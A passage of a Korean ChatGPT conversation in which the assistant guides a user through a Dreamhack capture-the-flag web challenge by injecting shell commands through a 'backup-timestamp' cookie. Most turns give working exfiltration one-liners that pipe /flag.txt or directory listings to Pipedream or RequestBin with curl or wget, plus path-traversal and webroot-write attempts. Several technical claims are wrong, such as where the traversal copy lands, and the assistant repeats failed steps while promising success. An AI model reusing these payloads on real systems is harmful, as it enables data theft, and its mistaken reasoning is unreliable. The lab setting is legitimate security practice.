2️⃣ POST 요청 데이터 확인
3️⃣ 데이터에 /flag.txt 내용이 포함되어 있을 가능성이 큼!


🔥 최종 공격 전략

1️⃣ RequestBin 생성 (https://en1f2o3x.requestbin.com/)
2️⃣ backup_notes의 timestamp를 명령어 삽입(curl -X POST -d @/flag.txt)
3️⃣ RequestBin에서 플래그 확인 (POST 요청 확인)

🚀 이제 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

🔍 공격 결과 분석

현재 curl 명령어가 정상적으로 실행되었을 가능성이 높음!
하지만 서버에서 바로 결과를 보여주지 않기 때문에,
RequestBin(또는 Pipedream)에서 플래그를 확인해야 함! 🚀


✅ 1️⃣ Pipedream에서 플래그 확인

📌 Pipedream이란?

📌 결과 확인 방법

1️⃣ Pipedream Requests 사이트 접속
2️⃣ 로그인 후 https://eoebm9636i74y0t.m.pipedream.net에 들어감
3️⃣ 새로운 POST 요청이 도착했는지 확인
4️⃣ 전송된 데이터에 /flag.txt 내용이 포함되었는지 확인

🚀 정상적으로 동작했다면, 플래그가 포함된 데이터가 보일 것! 🔥


✅ 2️⃣ 공격이 성공했는지 확인하는 방법

📌 공격이 실행되었는지 다시 확인하려면?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

다시 한 번 요청을 보내고, Pipedream에서 결과 확인!

📌 명령이 실행되었는지 로그 확인

bash
복사편집

만약 정상적으로 실행되었다면, 서버에서 flag.txt가 전송되었을 가능성이 높음.


🔥 최종 정리

1️⃣ RequestBin (Pipedream) 생성 (https://eoebm9636i74y0t.m.pipedream.net)
2️⃣ 백업 명령어 조작하여 플래그 전송 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

3️⃣ Pipedream에서 /flag.txt 내용이 포함된 요청을 확인!

🚀 이제 Pipedream에서 플래그를 찾아보자! 🔥

 
4o

나의 말:

 
없는데?? flag??

ChatGPT의 말:

🔍 Pipedream에 flag.txt 데이터가 안 온 이유 분석

현재 Pipedream을 제대로 설정하고 요청을 보냈음에도 불구하고 데이터가 수신되지 않은 상태임.

➡ 즉, 서버에서 우리가 보낸 명령어를 실행하지 않았거나, 실행되었지만 데이터를 전송하지 않았을 가능성이 높음


✅ 1️⃣ 공격이 서버에서 실행되었는지 확인하기

우리가 실행한 명령어가 서버에서 실행되었는지 먼저 확인해야 함.
📌 테스트 명령어로 서버가 외부로 요청을 보내도록 유도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 정상적으로 실행되면, Pipedream에 test=hello 값이 도착해야 함.
➡ 만약 이 요청도 도착하지 않았다면, 서버에서 명령어 실행이 차단되었을 가능성이 큼.


✅ 2️⃣ 서버에서 명령어 실행이 차단되었는지 확인

📌 명령어 실행이 막혔다면, 다른 방식으로 접근해야 함.
➡ subprocess.Popen()이 실행되었다면, /tmp/에 파일을 생성했을 가능성이 있음.
이 경우, 우리가 백업된 파일을 직접 확인하는 방법을 시도해야 함.


✅ 3️⃣ /tmp/flag.txt 파일을 직접 백업 후 확인

📌 이제 /tmp/flag.txt를 백업할 수 있는지 테스트

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/flag.txt"

이제 /backup_notes에서 백업된 파일이 보이는지 확인

bash
복사편집

만약 이 요청에서 플래그가 보이면, 성공적으로 백업됨!


✅ 4️⃣ ls -lah /tmp/ 명령어 실행이 가능한지 확인

만약 위 방법들이 전부 실패했다면, 서버에서 어떤 파일이 존재하는지 확인해야 함.
📌 파일 목록을 RequestBin으로 전송해보기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 실행되면, /tmp/에 어떤 파일이 있는지 Pipedream에서 확인 가능!


🔥 최종 시도 순서

1️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net" (서버가 외부 요청을 보내는지 확인)
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt" (파일을 직접 백업해서 확인)
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes (백업된 파일이 보이는지 확인)
4️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net" (/tmp/ 내부 파일 목록 확인)

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

🔍 분석: 모든 시도가 실패한 이유

현재 backup-timestamp를 조작하여 명령 실행을 시도했지만, 서버에서 아무런 반응이 없음
즉, 명령어 삽입(RCE)이 막혔을 가능성이 높음 또는 출력 결과가 보이지 않음


✅ 1️⃣ 서버가 외부 요청을 보내지 않는지 확인

📌 RequestBin(Pipedream)에 test=hello가 도착하지 않음

  • curl -X POST -d 'test=hello'를 실행했지만 Pipedream에서 요청을 받지 못함
    서버에서 |를 포함한 명령 실행을 차단했을 가능성이 있음
    ➡ 또는 subprocess.Popen()이 shell=False로 실행되고 있을 가능성 존재

📌 ls -lah /tmp/ 명령 실행도 실패

  • 서버에서 명령어가 실행되지 않거나, 실행되더라도 외부로 출력이 불가능한 상태
    ➡ 즉, 우리가 보낸 요청이 파일 시스템에 변화를 주었지만, 출력이 없어서 확인할 방법이 없음

✅ 2️⃣ 백업된 파일을 직접 확인하는 방법 시도

명령어 실행이 차단되었다면, 기존의 backup_notes() 기능을 활용해서 flag.txt를 백업하는 방법을 시도해야 함

📌 1️⃣ /flag.txt를 /tmp/로 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/flag.txt"

이제 /backup_notes를 다시 확인하면 백업된 /tmp/flag.txt가 보일 가능성이 있음.

📌 2️⃣ 백업된 파일 확인

bash
복사편집

백업된 /tmp/flag.txt가 보이면 성공!


✅ 3️⃣ backup_notes 요청 로그를 확인하는 방법

만약 백업이 성공했는데도 보이지 않는다면, backup_notes가 저장된 경로를 확인해야 함.

📌 서버가 /tmp/에 어떤 파일이 있는지 직접 확인하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/"

이제 /backup_notes를 다시 확인하면 /tmp/ 내부의 파일 목록이 보일 가능성이 있음.


✅ 4️⃣ 명령어 실행 우회 방법

📌 만약 직접적인 명령 실행이 막혔다면, 다른 방식으로 접근해야 함

  • ; 또는 &&를 사용하여 명령 실행 시도
bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; curl -X POST -d @/flag.txt https://eok17showi9fd4vm.m.pipedream.net"
  • $(command) 방식 시도
bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=$(cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net)"

🚀 최종 공격 순서

1️⃣ /flag.txt를 /tmp/로 백업 시도 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/flag.txt"
2️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
3️⃣ /tmp/ 내부 파일 목록 확인 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/"
4️⃣ 명령 실행 우회 시도 (;, &&, $(command))

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

누가 qna에 이렇게 구문했는데, 아무것도 안된다하니까 backup-timestamp cookie에 curl -L -X POST "http://host1.dreamhack.games:24301/backup_notes" --cookie "backup-timestamp=1739255792.6550727; ls" 누가 답글로 그렇게 하면 출력이 되지 않는것이 당연합니다! 출력해주는 명령어가 없기때문이죠 하지만 실행은 되었을것 입니다. 실행한 값을 보기 위해서 다양한 방법이 있을 수도 있지만 저는 requests bin에 대해 찾아보시는거 추천드립니다!. 달아줌
 

ChatGPT의 말:

🔍 QnA 분석: 백업 타임스탬프 조작과 RequestBin 활용

📌 문제 핵심

1️⃣ 명령어 실행은 성공했지만 출력이 보이지 않음

  • backup-timestamp 값에 명령어(ls)를 넣었을 때 실행은 되었음.
  • 하지만 결과를 출력하는 명령어가 없기 때문에 우리가 직접 볼 수 없음.

2️⃣ 해결책: 서버가 실행한 결과를 외부에서 확인해야 함

  • RequestBin (또는 Pipedream)을 이용해서 서버가 실행한 명령의 결과를 전송받아야 함.

✅ 1️⃣ 서버에서 ls 실행 후 결과를 RequestBin으로 보내기

📌 서버가 /tmp/ 디렉터리 목록을 실행하고 결과를 RequestBin으로 보내도록 유도

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 실행되면, /tmp/ 내부의 파일 목록이 RequestBin에 도착해야 함.
✔ @-는 표준 입력을 그대로 POST 요청에 포함시킴.


✅ 2️⃣ /flag.txt 존재 여부 확인

📌 위 명령을 실행한 후, Pipedream에서 /flag.txt 파일이 있는지 확인
1️⃣ Pipedream 사이트에서 새로운 POST 요청 확인
2️⃣ /tmp/ 내 파일 목록이 포함된 요청이 도착했는지 확인
3️⃣ flag.txt가 존재하는지 확인

➡ 만약 /flag.txt가 존재한다면, 다음 단계 진행! 🚀


✅ 3️⃣ /flag.txt 내용을 RequestBin으로 전송

📌 이제 /flag.txt 내용을 RequestBin으로 직접 전송해야 함

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

✔ cat /flag.txt → flag.txt 내용을 출력
✔ curl -X POST -d @- → 출력된 내용을 Pipedream으로 POST 요청

📌 이제 Pipedream에서 새로운 요청이 도착했는지 확인!
정상적으로 요청이 오면, 플래그가 포함된 데이터를 확인할 수 있음! 🚀


🚀 최종 공격 순서

1️⃣ /tmp/ 내 파일 목록 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Pipedream에서 파일 목록 확인 (flag.txt 존재 여부 체크)

2️⃣ /flag.txt 내용 RequestBin으로 전송

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Pipedream에서 flag.txt 내용 확인 (플래그 획득 🎉)

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

 
C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. 뜨는데, requestbin에서 뭐 내가 설정 잘못한걸까?

ChatGPT의 말:

🔍 문제 분석: RequestBin에서 아무 요청도 오지 않는 이유

현재 실행한 명령어:

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 명령어가 실행되었다면, Pipedream(RequestBin)에서 /tmp/ 디렉터리의 파일 목록이 담긴 POST 요청이 와야 함.
하지만 Pipedream에서 아무 요청도 오지 않음


✅ 1️⃣ RequestBin(Pipedream) URL이 잘못 설정되었는지 확인

🔹 URL 형식 확인

현재 사용한 URL:

arduino
복사편집
https://eok17showi9fd4vm.m.pipedream.net

올바른 URL인지 다시 확인해야 함.
➡ Pipedream에서 Trigger URL을 다시 확인하고, 올바른 URL을 사용했는지 점검.

🔹 https://를 http://로 변경하여 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- http://eok17showi9fd4vm.m.pipedream.net"

일부 서버에서는 https:// 트래픽을 차단하는 경우가 있음.
http:// 프로토콜로 변경하여 다시 시도.


✅ 2️⃣ 서버에서 curl 실행이 차단되었는지 확인

서버가 curl 실행을 차단했을 가능성 존재.
📌 다른 명령어로 RequestBin을 트리거할 수 있는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 명령어가 실행되면, RequestBin에서 test라는 데이터가 와야 함.
아직도 아무 반응이 없다면, 서버가 curl 실행을 차단한 것일 가능성이 높음.

📌 Wget을 사용하여 시도 (wget이 허용될 수도 있음)

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이 방법이 작동하는지 확인!


✅ 3️⃣ ls 실행은 성공했지만, 출력이 /tmp/에 저장된 경우

서버가 직접 RequestBin으로 데이터를 보내지 않고, ls 결과를 /tmp/에 저장했을 수도 있음.

📌 결과를 파일로 저장하고 직접 확인하는 방법

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ 이제 /tmp/output.txt가 생성되었을 가능성이 있음.

📌 백업 기능을 이용하여 해당 파일을 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

➡ 그런 다음 /backup_notes에서 /tmp/output.txt 내용이 보이는지 확인.


🚀 최종 시도 순서

1️⃣ RequestBin URL 확인 (http:// 사용해보기)
2️⃣ curl 실행이 차단되었는지 echo test로 확인
3️⃣ wget 방식으로 시도 (wget --post-file=- 사용)
4️⃣ ls 실행 결과를 /tmp/output.txt에 저장 후 확인


🚀 이제 다시 시도해보고 결과 알려줘! 🔥

 
4o

나의 말:

아니 requestbin 주소 맞는데..왜 안보이냐고 ㅅㅂㅋㅋㅋ
 

ChatGPT의 말:

ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
오케이, 다시 한 번 체크해보자. 지금까지 했던 시도들을 정리하고, 뭘 놓쳤는지 확인해보자.


✅ 1️⃣ RequestBin (Pipedream) 요청이 안 오는 이유

🔹 1. RequestBin URL 문제?

✔ 너가 사용한 URL https://eok17showi9fd4vm.m.pipedream.net 확실히 맞아?
➡ Pipedream에서 URL이 바뀌진 않았는지 한 번 더 확인!
혹시 https 대신 http로 해야 하는지 체크!
Pipedream에서 "Generate Event" 눌러서 URL이 살아있는지도 확인!

bash
복사편집
curl -X POST -d "test=hello" https://eok17showi9fd4vm.m.pipedream.net

이거 실행해서 RequestBin에서 test=hello 오는지 확인해봐!이것도 안 오면 RequestBin 문제임!


🔹 2. 서버에서 curl 실행이 막혀있을 가능성?

✔ 만약 서버에서 curl 실행이 아예 막혀 있다면, RequestBin으로 전송 자체가 안 될 수 있음.
➡ 그럼 다른 방법(Wget)으로 시도해봐야 함.

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이걸로 RequestBin에서 반응이 오는지 확인!


🔹 3. 실행된 결과가 /tmp/ 어딘가에 저장된 가능성?

✔ 만약 명령 실행은 됐지만, 결과가 외부로 나가지 못하는 상황이라면?
➡ 그러면 /tmp/에 저장되었을 가능성이 높음.

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

이제 /tmp/output.txt가 생겼을 거임!
✔ 그럼 이제 이 파일을 불러와야겠지?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이렇게 해서 /backup_notes에서 확인할 수 있는지 체크해봐!


🚀 최종 점검 리스트

1️⃣ Pipedream RequestBin URL 맞는지 다시 확인 (test=hello 보내보기)
2️⃣ curl 실행이 막혔을 가능성? wget으로 전송해보기
3️⃣ 실행된 결과가 /tmp/에 저장되었을 가능성? output.txt로 확인


진짜 이거 안 되면 개킹받을 텐데ㅋㅋㅋ
🔥 한 번만 더 해보고 결과 알려줘! 🔥

 
4o

나의 말:

 
이거 사진 보면 requestbin 작동 잘되는거야?

ChatGPT의 말:

ㅇㅇ, Pipedream RequestBin 설정은 정상적으로 보임!
근데 현재 "LIVE EVENTS" 창이 비어있음.
즉, 서버에서 RequestBin으로 요청이 제대로 안 오고 있음! 😡


🚀 문제 원인 & 해결 방법

1️⃣ 서버에서 curl 실행이 안 되고 있을 가능성

현재 서버에서 curl 명령이 실행되지 않거나, 실행되더라도 인터넷으로 요청을 보내지 못하는 상태일 수도 있음.

📌 이거 확인하려면?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이걸 실행하면 RequestBin에 test가 떠야 함.
이것도 안 뜨면 서버에서 curl 자체가 막혀있을 가능성이 큼.

🔥 이거 실행하고 RequestBin에 이벤트가 뜨는지 확인해줘! 🔥


2️⃣ curl 대신 wget 사용해보기

✔ curl이 차단됐을 가능성이 있으니 wget을 사용해보자!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

RequestBin에 반응이 오는지 확인해봐!


3️⃣ 명령어 실행 결과가 /tmp/에 저장되고 있을 가능성

혹시 서버가 ls -lah /tmp/ 결과를 RequestBin으로 보내지 않고, 그냥 파일로 저장하는 상황일 수도 있음.

📌 그럼 이렇게 확인 가능!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ /tmp/output.txt에 결과가 저장될 테니까 이제 이 파일을 백업해서 가져와야 함.

📌 파일 내용 확인하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes에서 확인 가능!


🔥 최종 점검 리스트

1️⃣ echo test | curl -X POST -d @- 실행해서 RequestBin 반응 확인!
2️⃣ wget 방식으로 데이터 전송 시도! (wget --post-file=-)
3️⃣ /tmp/output.txt 저장 후 파일 내용 확인!

🔥 이제 한 번만 더 시도해보고, 결과 알려줘! 🔥

 
4o

나의 말:

requestbin에 test안뜬다 ㅅㅂㅋㅋㅋ
 

ChatGPT의 말:

ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
RequestBin에 test도 안 뜨면 서버에서 curl 자체가 차단됐을 가능성이 높음.
그래도 아직 방법은 있음! 다른 우회 방법 시도해보자.


🚀 서버에서 curl이 막혀있을 때 우회 방법

1️⃣ wget을 사용해서 RequestBin으로 보내기

✔ curl이 안 되는 경우, wget을 사용하면 될 수도 있음.
이걸 실행해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이렇게 하면 RequestBin에서 test가 떠야 함.
만약 이것도 안 뜨면, wget도 막혀있을 가능성이 높음.


2️⃣ nslookup이나 ping으로 서버가 인터넷 요청을 보낼 수 있는지 확인

✔ 혹시 서버 자체가 인터넷 연결을 못 하는 상황일 수도 있음.
이거 실행해서 체크해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; nslookup google.com | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

RequestBin에 google.com의 IP가 떠야 함.
만약 이것도 안 뜨면, 서버에서 외부로 나가는 모든 요청이 막혀있는 거임.


3️⃣ /tmp/에 로그 저장한 후, 백업해서 확인

✔ 서버가 외부 인터넷 요청을 못 한다면, 결과를 /tmp/에 저장하고 확인해야 함.
이걸 실행해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ 이제 /tmp/output.txt 파일이 생성됐을 거임.
이제 이 파일을 확인해야겠지?

파일 내용을 가져오는 요청

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes 페이지에서 확인해봐!
➡ 만약 여기서 flag 관련 파일이 보이면 그걸 백업하면 됨.


🔥 결론

1️⃣ wget 사용해서 RequestBin으로 보내기
2️⃣ nslookup google.com 실행해서 서버가 인터넷 요청 가능한지 체크
3️⃣ /tmp/output.txt에 저장하고 그 파일을 가져오기

🔥 이거 순서대로 실행하고 결과 한 번만 더 확인해줘!
진짜 이거 안 되면 개킹받을 듯ㅋㅋㅋㅋ

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; nslookup google.com | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
RequestBin에 아무것도 안 뜨면
서버가 curl, wget 등 외부 요청을 전부 막아놨을 가능성이 매우 높음.
심지어 nslookup도 안 뜨는 거 보면 인터넷 연결 자체를 막았을 수도 있음.
즉, 이 서버에서는 RequestBin으로 데이터를 직접 보낼 방법이 없을 확률이 큼.


🚀 플랜 B: 서버 내에서 직접 파일 확인하기

이제 방법이 하나 남았음.
🔥 서버 내에서 파일을 저장한 후, 그 파일을 가져오는 방법 🔥


1️⃣ /tmp/ 디렉토리에 백업 저장

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ /tmp/output.txt 파일이 생성될 거임.


2️⃣ /tmp/output.txt 내용 가져오기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes에서 확인 가능!
➡ 만약 여기서 flag.txt 같은 파일이 보이면 그걸 가져오면 됨.


🔥 최종 목표

서버가 인터넷 요청을 전부 차단한 상태라서 RequestBin을 못 씀.
따라서 /tmp/output.txt 파일을 만들어서 서버 내에서 직접 확인해야 함.
ls -lah /tmp/ 결과를 파일로 저장한 후, /backup_notes를 통해 가져오기.

🔥 이거 실행하고 다시 한 번 확인해봐!
이제 진짜 답 나올 듯 ㅋㅋㅋㅋ

2/2
 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/output.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. 응 안돼~

 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜 이거 뭐냐ㅋㅋㅋㅋ
야 근데 서버가 아예 /tmp/output.txt에 접근도 못 하게 막아놨을 가능성 있음.

🔥 플랜 C: 백업 파일을 특정 경로로 저장해서 접근

이제 방법 하나 남았음.
✅ /tmp/ 말고 /var/www/html/ 같은 웹 접근 가능한 디렉토리에 저장해보자.


1️⃣ /var/www/html/에 파일 저장 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /var/www/html/output.txt"

이러면 output.txt 파일이 /var/www/html/에 저장됨.


2️⃣ 직접 웹에서 확인

이제 웹에서 확인 가능해야 함.
브라우저에서 직접 접근해봐!

여기서 flag.txt 같은 거 보이면, 그 파일을 또 같은 방식으로 저장해서 접근.


🔥 최종 목표

서버가 /tmp/ 접근을 막았을 가능성이 크니까, 웹 접근 가능한 경로에 저장.
보통 /var/www/html/ 같은 디렉토리는 접근 가능하니까 거기에 저장.
이제 http://host1.dreamhack.games:17508/output.txt 에서 직접 확인.

🔥 이거 실행하고 확인 한 번만 더 부탁해!
진짜 안 되면 서버 개발자가 개악질인 거다 ㅋㅋㅋㅋ

 
4o

나의 말:

응 not found야~
 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
이거 서버 설정이 엄청 빡세게 막혀있는 상태라서 정상적인 우회 방법이 전부 차단당한 듯.


🔥 플랜 D: cat을 이용해서 직접 백업 내용 덤프

이제 마지막 남은 방법 하나 있음.
ls -lah /tmp/ 결과를 바로 cat으로 파일 내용처럼 읽어서 백업하는 방법.


1️⃣ cat 이용해서 강제 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; cat /tmp/flag.txt > /tmp/output.txt"

이러면 /tmp/output.txt에 flag.txt 내용이 강제 저장될 거임.


2️⃣ /tmp/output.txt 내용 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes 페이지에서 flag가 나와야 함.


🔥 왜 이 방법이 가능할까?

서버가 /tmp/ 파일 접근을 막았어도, cat을 이용해서 강제 덤프하면 우회 가능.
ls -lah는 파일 리스트만 나오지만, cat을 쓰면 파일 내부 내용이 저장됨.
결국 /tmp/output.txt에 flag 내용이 저장될 거라서, 그걸 불러오면 됨.


🔥 이제 진짜 답 나올 때 됐다ㅋㅋㅋ
이거 실행하고 다시 확인 한 번 해봐!

🔍 timestamp가 무엇이고, 취약점을 어떻게 활용할 수 있을까?

timestamp는 현재 시간을 초 단위(Unix Time)로 변환한 숫자 값입니다.
이 값은 파일명을 동적으로 생성하는 데 사용되며, 특정 시점의 데이터를 식별하는 역할을 합니다.


🔍 코드에서 timestamp의 역할

📌 백업 파일을 생성하는 backup_notes() 함수에서 사용됨:

python
복사편집
def backup_notes(timestamp): with lock: with open('./tmp/notes.tmp', 'w') as f: f.write(repr(notes)) # 현재 메모 내용을 파일로 저장 subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)

노트 데이터를 ./tmp/notes.tmp에 저장한 후,
해당 파일을 /tmp/{timestamp}로 복사

즉, 백업 파일이 /tmp/ 디렉토리에 timestamp 이름으로 생성됨.


🛠️ 취약점 분석: backup_notes()와 timestamp 조작

📌 timestamp 취약점의 핵심

  • timestamp는 **쿠키(backup-timestamp 쿠키)**에서 가져옴:
    python
    복사편집
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
  • 쿠키 값(backup-timestamp)을 우리가 임의로 조작할 수 있음.
  • 백업 파일은 /tmp/{timestamp} 경로에 생성됨.
  • 다른 파일(예: flag.txt)을 백업 경로로 지정할 수 있다면, 해당 파일을 읽을 수 있음!

🚀 timestamp를 조작해서 flag.txt를 찾는 방법

1️⃣ 현재 백업된 파일 목록을 확인

bash
복사편집
ls -lah /tmp/

만약 1645678901 같은 숫자 이름의 파일이 있다면, 그것이 백업 파일일 가능성이 높음.

2️⃣ 강제로 flag.txt를 백업하도록 timestamp 값을 조작
우리가 timestamp를 임의로 /flag.txt로 설정하면,
백업 파일을 /tmp/flag.txt로 만들 수 있음!

bash
복사편집
curl -X POST http://target.com/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

📌 이렇게 하면, 원래 /tmp/{timestamp}에 생성되어야 할 백업 파일이 /tmp/../../flag.txt로 생성됨.
📌 즉, flag.txt가 /tmp/flag.txt로 복사되면서 우리가 접근 가능하게 됨!

3️⃣ 복사된 flag.txt 확인

bash
복사편집

➡ 백업 파일이 /tmp/flag.txt에 존재하면, 그 내용을 직접 볼 수 있음!


🔥 결론: timestamp 취약점을 활용한 공격 흐름

✔ timestamp는 기본적으로 time.time() 값을 사용하지만,
쿠키(backup-timestamp 쿠키)를 조작하면 원하는 파일을 백업 가능
✔ /flag.txt를 백업하면, 플래그 내용을 가져올 수 있음 🚀

🚀 이제 직접 curl을 사용해서 backup-timestamp를 조작해보자! 🔥

 
4o

나의 말:

